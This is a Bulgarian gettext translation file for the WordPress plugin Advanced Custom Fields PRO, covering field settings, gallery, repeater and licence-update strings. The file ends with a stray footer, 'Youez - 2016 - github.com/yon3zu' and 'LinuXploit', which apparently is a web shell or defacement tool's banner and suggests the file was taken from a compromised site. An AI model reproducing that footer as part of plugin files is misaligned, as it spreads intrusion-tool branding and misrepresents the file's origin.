msgid "Post ID"
msgstr "ID на публикация"

#: fields/radio.php:36
msgid "Radio Button"
msgstr "Радио бутон"

#: fields/radio.php:202
msgid "Other"
msgstr "Друго"

#: fields/radio.php:206
msgid "Add 'other' choice to allow for custom values"
msgstr "Добавяне на избор 'друго' като възможност за потребителските стойности"

#: fields/radio.php:212
msgid "Save Other"
msgstr "Запазване"

#: fields/radio.php:216
msgid "Save 'other' values to the field's choices"
msgstr "Запазване на стойностите 'друго' към опциите на полето"

#: fields/relationship.php:36
msgid "Relationship"
msgstr "Връзка"

#: fields/relationship.php:48
msgid "Minimum values reached ( {min} values )"
msgstr "Минималния брой стойности бе достигнат ( {min} стойности )"

#: fields/relationship.php:49
msgid "Maximum values reached ( {max} values )"
msgstr "Максималния брой стойности бе достигнат ( {min} стойности )"

#: fields/relationship.php:50
msgid "Loading"
msgstr "Зареждане"

#: fields/relationship.php:51
msgid "No matches found"
msgstr "Няма намерени съвпадения"

#: fields/relationship.php:570
msgid "Search..."
msgstr "Търсене…"

#: fields/relationship.php:579
msgid "Select post type"
msgstr "Изберете тип на публикацията"

#: fields/relationship.php:592
msgid "Select taxonomy"
msgstr "Изберете таксономия"

#: fields/relationship.php:724 fields/taxonomy.php:36 fields/taxonomy.php:773
msgid "Taxonomy"
msgstr "Таксономия"

#: fields/relationship.php:731
msgid "Elements"
msgstr "Елементи"

#: fields/relationship.php:732
msgid "Selected elements will be displayed in each result"
msgstr "Избраните елементи ще бъдат показани във всеки резултат"

#: fields/relationship.php:743
msgid "Minimum posts"
msgstr "Минимален брой публикации"

#: fields/relationship.php:752
msgid "Maximum posts"
msgstr "Максимален брой публикации"

#: fields/relationship.php:856 pro/fields/gallery.php:817
#, php-format
msgid "%s requires at least %s selection"
msgid_plural "%s requires at least %s selections"
msgstr[0] "%s изисква поне %s избор"
msgstr[1] "%s изисква поне %s избора"

#: fields/select.php:36 fields/select.php:167 fields/taxonomy.php:795
msgid "Select"
msgstr "Избор"

#: fields/select.php:400
msgid "Stylised UI"
msgstr "Стилизиран интерфейс"

#: fields/select.php:414
msgid "Use AJAX to lazy load choices?"
msgstr "Използване на AJAX за зареждане на опциите?"

#: fields/tab.php:36
msgid "Tab"
msgstr "Раздел"

#: fields/tab.php:128
msgid ""
"The tab field will display incorrectly when added to a Table style repeater "
"field or flexible content field layout"
msgstr ""
"Полето за раздел ще се покаже грешно когато се добави към поле-повторител с "
"табличен стил, или поле за гъвкаво съдържание"

#: fields/tab.php:129
msgid ""
"Use \"Tab Fields\" to better organize your edit screen by grouping fields "
"together."
msgstr ""
"Използвайте \"Полета Раздел\" за да организирате по-добре екраните за "
"редактиране чрез групиране на полетата."

#: fields/tab.php:130
msgid ""
"All fields following this \"tab field\" (or until another \"tab field\" is "
"defined) will be grouped together using this field's label as the tab "
"heading."
msgstr ""
"Всички полета след това \"раздел поле\" (или до следващото такова) ще бъдат "
"групирани заедно в този раздел."

#: fields/tab.php:144
msgid "Placement"
msgstr "Положение"

#: fields/tab.php:156
msgid "End-point"
msgstr "Крайна точка"

#: fields/tab.php:157
msgid "Use this field as an end-point and start a new group of tabs"
msgstr ""
"Използване на това поле като крайна точка и започване на нова група раздели"

#: fields/taxonomy.php:742
msgid "None"
msgstr "Никакъв"

#: fields/taxonomy.php:774
msgid "Select the taxonomy to be displayed"
msgstr "Избор на таксономия"

#: fields/taxonomy.php:783
msgid "Appearance"
msgstr "Външен вид"

#: fields/taxonomy.php:784
msgid "Select the appearance of this field"
msgstr "Избор на външния вид на това поле"

#: fields/taxonomy.php:789
msgid "Multiple Values"
msgstr "Множество стойности"

#: fields/taxonomy.php:791
msgid "Multi Select"
msgstr "Множество избрани стойности"

#: fields/taxonomy.php:793
msgid "Single Value"
msgstr "Единична стойност"

#: fields/taxonomy.php:794
msgid "Radio Buttons"
msgstr "Радио бутони"

#: fields/taxonomy.php:817
msgid "Create Terms"
msgstr "Създаване на термини"

#: fields/taxonomy.php:818
msgid "Allow new terms to be created whilst editing"
msgstr "Позволяване нови термини да се създават при редактиране"

#: fields/taxonomy.php:831
msgid "Save Terms"
msgstr "Запазване на термини"

#: fields/taxonomy.php:832
msgid "Connect selected terms to the post"
msgstr "Свързване на избраните термини към тази публикация"

#: fields/taxonomy.php:845
msgid "Load Terms"
msgstr "Зареждане на термини"

#: fields/taxonomy.php:846
msgid "Load value from posts terms"
msgstr "Зареждане на стойност от термините на публикациите"

#: fields/taxonomy.php:864
msgid "Term Object"
msgstr "Обект-термин"

#: fields/taxonomy.php:865
msgid "Term ID"
msgstr "ID на термин"

#: fields/taxonomy.php:924
#, php-format
msgid "User unable to add new %s"
msgstr "Потребителят не може да добави %s"

#: fields/taxonomy.php:937
#, php-format
msgid "%s already exists"
msgstr "%s вече съществува"

#: fields/taxonomy.php:978
#, php-format
msgid "%s added"
msgstr "успешно добавяне на %s"

#: fields/taxonomy.php:1023
msgid "Add"
msgstr "Добавяне"

#: fields/text.php:36
msgid "Text"
msgstr "Текст"

#: fields/text.php:184 fields/textarea.php:163
msgid "Character Limit"
msgstr "Максимален брой символи"

#: fields/text.php:185 fields/textarea.php:164
msgid "Leave blank for no limit"
msgstr "Оставете празно за да премахнете ограничението"

#: fields/textarea.php:36
msgid "Text Area"
msgstr "Текстова област"

#: fields/textarea.php:172
msgid "Rows"
msgstr "Редове"

#: fields/textarea.php:173
msgid "Sets the textarea height"
msgstr "Задава височината на текстовото поле"

#: fields/true_false.php:36
msgid "True / False"
msgstr "Вярно / невярно"

#: fields/true_false.php:107
msgid "eg. Show extra content"
msgstr "напр. Покажи допълнително съдържание"

#: fields/url.php:36
msgid "Url"
msgstr "Url"

#: fields/url.php:168
msgid "Value must be a valid URL"
msgstr "Стойността трябва да е валиден URL"

#: fields/user.php:441
msgid "Filter by role"
msgstr "Филтриране по роля"

#: fields/user.php:449
msgid "All user roles"
msgstr "Всички потребителски роли"

#: fields/wysiwyg.php:37
msgid "Wysiwyg Editor"
msgstr "Редактор на съдържание"

#: fields/wysiwyg.php:328
msgid "Visual"
msgstr "Визуален"

#: fields/wysiwyg.php:329
msgctxt "Name for the Text editor tab (formerly HTML)"
msgid "Text"
msgstr "Текстов"

#: fields/wysiwyg.php:385
msgid "Tabs"
msgstr "Раздели"

#: fields/wysiwyg.php:390
msgid "Visual & Text"
msgstr "Визуален и текстов"

#: fields/wysiwyg.php:391
msgid "Visual Only"
msgstr "Само визуален"

#: fields/wysiwyg.php:392
msgid "Text Only"
msgstr "Само текстов"

#: fields/wysiwyg.php:399
msgid "Toolbar"
msgstr "Лента с инструменти"

#: fields/wysiwyg.php:409
msgid "Show Media Upload Buttons?"
msgstr "Показване на бутоните за качване на файлове?"

#: forms/post.php:294 pro/admin/options-page.php:352
msgid "Edit field group"
msgstr "Редактиране на група полета"

#: pro/acf-pro.php:24
msgid "Advanced Custom Fields PRO"
msgstr "Модерни потребителски полета PRO"

#: pro/acf-pro.php:191
msgid "Flexible Content requires at least 1 layout"
msgstr "Полето за гъвкаво съдържание изисква поне 1 шаблон полета"

#: pro/admin/options-page.php:48
msgid "Options Page"
msgstr "Страница с опции"

#: pro/admin/options-page.php:83
msgid "No options pages exist"
msgstr "Няма създадени страници с опции"

#: pro/admin/options-page.php:276
msgid "Options Updated"
msgstr "Опциите бяха актуализирани"

#: pro/admin/options-page.php:282
msgid "No Custom Field Groups found for this options page. <a href=\"%s\">Create a Custom Field Group</a>"
msgstr "Няма намерени групи полета за тази страница с опции. <a href=\"%s\">Създаване на група полета</a>"

#: pro/admin/settings-updates.php:137
msgid "<b>Error</b>. Could not connect to update server"
msgstr "<b>Грешка</b>. Неуспешно свързване със сървъра"

#: pro/admin/settings-updates.php:267 pro/admin/settings-updates.php:338
msgid "<b>Connection Error</b>. Sorry, please try again"
msgstr "<b>Грешка при свързване</b>. Моля, опитайте отново"

#: pro/admin/views/options-page.php:48
msgid "Publish"
msgstr "Публикуване"

#: pro/admin/views/options-page.php:54
msgid "Save Options"
msgstr "Запазване на опциите"

#: pro/admin/views/settings-updates.php:11
msgid "Deactivate License"
msgstr "Деактивиране на лиценз"

#: pro/admin/views/settings-updates.php:11
msgid "Activate License"
msgstr "Активиране на лиценз"

#: pro/admin/views/settings-updates.php:21
msgid "License"
msgstr "Лиценз"

#: pro/admin/views/settings-updates.php:24
msgid ""
"To unlock updates, please enter your license key below. If you don't have a "
"licence key, please see"
msgstr ""
"За да отключите обновяванията, моля въведете вашия лицензен код в "
"съответното поле. Ако нямате такъв, моля вижте"

#: pro/admin/views/settings-updates.php:24
msgid "details & pricing"
msgstr "детайли и цени"

#: pro/admin/views/settings-updates.php:33
msgid "License Key"
msgstr "Лицензионен ключ"

#: pro/admin/views/settings-updates.php:65
msgid "Update Information"
msgstr "Информация за обновяването"

#: pro/admin/views/settings-updates.php:72
msgid "Current Version"
msgstr "Текуща версия"

#: pro/admin/views/settings-updates.php:80
msgid "Latest Version"
msgstr "Последна версия"

#: pro/admin/views/settings-updates.php:88
msgid "Update Available"
msgstr "Налице е обновяване"

#: pro/admin/views/settings-updates.php:96
msgid "Update Plugin"
msgstr "Обновяване"

#: pro/admin/views/settings-updates.php:98
msgid "Please enter your license key above to unlock updates"
msgstr "Моля въведете вашия лицензионен ключ за да отключите обновяванията"

#: pro/admin/views/settings-updates.php:104
msgid "Check Again"
msgstr "Проверка"

#: pro/admin/views/settings-updates.php:121
msgid "Upgrade Notice"
msgstr "Забележки за обновяването"

#: pro/api/api-options-page.php:22 pro/api/api-options-page.php:23
msgid "Options"
msgstr "Опции"

#: pro/core/updates.php:198
#, php-format
msgid ""
"To enable updates, please enter your license key on the <a href=\"%s"
"\">Updates</a> page. If you don't have a licence key, please see <a href=\"%s"
"\">details & pricing</a>"
msgstr ""
"За да включите обновяванията, моля въведете вашия лицензионен ключ на "
"страницата <a href=\"%s\">Актуализации</a>. Ако нямате лицензионен ключ, "
"моля посетете <a href=\"%s\">детайли и цени</a>"

#: pro/fields/flexible-content.php:36
msgid "Flexible Content"
msgstr "Гъвкаво съдържание"

#: pro/fields/flexible-content.php:42 pro/fields/repeater.php:43
msgid "Add Row"
msgstr "Добавяне на ред"

#: pro/fields/flexible-content.php:45
msgid "layout"
msgstr "шаблон"

#: pro/fields/flexible-content.php:46
msgid "layouts"
msgstr "шаблони"

#: pro/fields/flexible-content.php:47
msgid "remove {layout}?"
msgstr "премахване?"

#: pro/fields/flexible-content.php:48
msgid "This field requires at least {min} {identifier}"
msgstr "Това поле изисква поне {min} {identifier}"

#: pro/fields/flexible-content.php:49
msgid "This field has a limit of {max} {identifier}"
msgstr "Това поле има лимит от {max} {identifier}"

#: pro/fields/flexible-content.php:50
msgid "This field requires at least {min} {label} {identifier}"
msgstr "Това поле изисква поне {min} {label} {identifier}"

#: pro/fields/flexible-content.php:51
msgid "Maximum {label} limit reached ({max} {identifier})"
msgstr "Максималния лимит на {label} бе достигнат ({max} {identifier})"

#: pro/fields/flexible-content.php:52
msgid "{available} {label} {identifier} available (max {max})"
msgstr "{available} {label} {identifier} налични  (максимум  {max})"

#: pro/fields/flexible-content.php:53
msgid "{required} {label} {identifier} required (min {min})"
msgstr "{required} {label} {identifier} задължителни (минимум {min})"

#: pro/fields/flexible-content.php:211
#, php-format
msgid "Click the \"%s\" button below to start creating your layout"
msgstr "Натиснете бутона \"%s\" за да започнете да създавате вашия шаблон"

#: pro/fields/flexible-content.php:357
msgid "Add layout"
msgstr "Създаване на шаблон"

#: pro/fields/flexible-content.php:360
msgid "Remove layout"
msgstr "Премахване на шаблон"

#: pro/fields/flexible-content.php:363 pro/fields/repeater.php:312
msgid "Click to toggle"
msgstr "Кликнете за да превключите"

#: pro/fields/flexible-content.php:503
msgid "Reorder Layout"
msgstr "Пренареждане на шаблон"

#: pro/fields/flexible-content.php:503
msgid "Reorder"
msgstr "Пренареждане"

#: pro/fields/flexible-content.php:504
msgid "Delete Layout"
msgstr "Изтриване на шаблон"

#: pro/fields/flexible-content.php:505
msgid "Duplicate Layout"
msgstr "Дублиране на шаблон"

#: pro/fields/flexible-content.php:506
msgid "Add New Layout"
msgstr "Добавяне на нов шаблон"

#: pro/fields/flexible-content.php:560 pro/fields/repeater.php:474
msgid "Table"
msgstr "Таблица"

#: pro/fields/flexible-content.php:561 pro/fields/repeater.php:475
msgid "Block"
msgstr "Блок"

#: pro/fields/flexible-content.php:562 pro/fields/repeater.php:476
msgid "Row"
msgstr "Ред"

#: pro/fields/flexible-content.php:577
msgid "Min"
msgstr "Минимум"

#: pro/fields/flexible-content.php:590
msgid "Max"
msgstr "Максимум"

#: pro/fields/flexible-content.php:618 pro/fields/repeater.php:483
msgid "Button Label"
msgstr "Етикет на бутона"

#: pro/fields/flexible-content.php:627
msgid "Minimum Layouts"
msgstr "Минимален брой шаблони"

#: pro/fields/flexible-content.php:636
msgid "Maximum Layouts"
msgstr "Максимален брой шаблони"

#: pro/fields/gallery.php:36
msgid "Gallery"
msgstr "Галерия"

#: pro/fields/gallery.php:52
msgid "Add Image to Gallery"
msgstr "Добавяне на изображение към галерия"

#: pro/fields/gallery.php:56
msgid "Maximum selection reached"
msgstr "Максималния брой избори бе достигнат"

#: pro/fields/gallery.php:343
msgid "Length"
msgstr "Размер"

#: pro/fields/gallery.php:363
msgid "Remove"
msgstr "Премахване"

#: pro/fields/gallery.php:543
msgid "Add to gallery"
msgstr "Добавяне към галерия"

#: pro/fields/gallery.php:547
msgid "Bulk actions"
msgstr "Групови действия"

#: pro/fields/gallery.php:548
msgid "Sort by date uploaded"
msgstr "Сортиране по дата на качване"

#: pro/fields/gallery.php:549
msgid "Sort by date modified"
msgstr "Сортиране по дата на последна промяна"

#: pro/fields/gallery.php:550
msgid "Sort by title"
msgstr "Сортиране по заглавие"

#: pro/fields/gallery.php:551
msgid "Reverse current order"
msgstr "Обръщане на текущия ред"

#: pro/fields/gallery.php:569
msgid "Close"
msgstr "Затваряне"

#: pro/fields/gallery.php:627
msgid "Minimum Selection"
msgstr "Минимална селекция"

#: pro/fields/gallery.php:636
msgid "Maximum Selection"
msgstr "Максимална селекция"

#: pro/fields/repeater.php:36
msgid "Repeater"
msgstr "Повторител"

#: pro/fields/repeater.php:47
msgid "Minimum rows reached ({min} rows)"
msgstr "Минималния брой редове бе достигнат ({min} реда)"

#: pro/fields/repeater.php:48
msgid "Maximum rows reached ({max} rows)"
msgstr "Максималния брой редове бе достигнат ({max} реда)"

#: pro/fields/repeater.php:310
msgid "Drag to reorder"
msgstr "Плъзнете, за да пренаредите"

#: pro/fields/repeater.php:357
msgid "Add row"
msgstr "Добавяне на ред"

#: pro/fields/repeater.php:358
msgid "Remove row"
msgstr "Премахване на ред"

#: pro/fields/repeater.php:406
msgid "Sub Fields"
msgstr "Вложени полета"

#: pro/fields/repeater.php:436
msgid "Collapsed"
msgstr "Свит"

#: pro/fields/repeater.php:437
msgid "Select a sub field to show when row is collapsed"
msgstr "Изберете вложено поле, което да се показва когато реда е свит"

#: pro/fields/repeater.php:447
msgid "Minimum Rows"
msgstr "Минимален брой редове"

#: pro/fields/repeater.php:457
msgid "Maximum Rows"
msgstr "Максимален брой редове"

#. Plugin Name of the plugin/theme
msgid "Advanced Custom Fields Pro"
msgstr "Модерни потребителски полета PRO"

#. Plugin URI of the plugin/theme
msgid "http://www.advancedcustomfields.com/"
msgstr "http://www.advancedcustomfields.com/"

#. Description of the plugin/theme
msgid "Customise WordPress with powerful, professional and intuitive fields"
msgstr "Персонализирайте WordPress с мощни, професионални и интуитивни полета"

#. Author of the plugin/theme
msgid "elliot condon"
msgstr "Елиът Кондън"

#. Author URI of the plugin/theme
msgid "http://www.elliotcondon.com/"
msgstr "http://www.elliotcondon.com/"

Youez - 2016 - github.com/yon3zu
LinuXploit